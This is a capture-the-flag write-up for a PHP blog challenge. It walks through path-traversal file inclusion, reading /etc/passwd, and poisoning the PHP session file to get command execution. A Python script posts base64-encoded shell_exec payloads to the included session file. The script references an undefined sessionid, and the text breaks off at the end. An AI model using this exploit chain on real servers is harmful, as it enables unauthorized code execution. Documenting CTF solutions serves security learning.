Tags: lfi session php

Rating:

# Custom Blog

We got greeted with this challenge server http://host.cg21.metaproblems.com:4130/
which shows multiple blog entries which seems to be loaded as a file over include or require.

To test this we tried to include a familiar file from the host with path traversal.


root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync


That was quite easy, so we assumed that we can easily execute php code with the common practices.

Which did not return anything, so we tried log poisoning but where unable to find or read anny meaningful log which we could influence.
We also knew that we could not abuse the wrapper due the prepending of the posts/ in the post syntax. (Known from the source)

php

<html lang="en">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>

<body>
' . htmlentities($_GET['post']) . '</h1><hr><div class="post">'; include$post;
echo '</div>';
} else {
}
?>
home
</body>
</html>


So we were pretty stuck until we noticed that there is a session available in which we can add data.
So we injected some php code in the theme session variable. That could be done over:

http://host.cg21.metaproblems.com:4130/set.php?theme=


This session variable is saved in the user session, per default the php session handler is file based,
so we tried to locate the directory where they are located.
Its achievable because we know the schema which the file is created: /xxx/xxx/sess_{SESSIONID} the session id can be taken from the php session used from the client which fired the above request.
and the xxx directories need to be found.
We found our directory under /tmp/ so we went further to create a small exploit script which could run arbitary code:

py
import base64

import requests

def stage_one():
se = requests.session()
se.get(
"http://host.cg21.metaproblems.com:4130/set.php?theme=")
return se

def stage_two(s, cmd):
res = s.post(
"http://host.cg21.metaproblems.com:4130/post.php?post=../../../../tmp/sess_" + sessionid,
data={"code": "print(shell_exec(base64_decode('" + str(base64.b64encode(cmd.encode("utf-8")), "utf-8") + "')));"})
print(res.content.decode())
pass

s = stage_one()
stage_two(s, "ls -all")


Now where we can execute commands we can run any commands. We found setuid binary called /flag/flagreader by uploading linpeas to the server.

So we could just run

py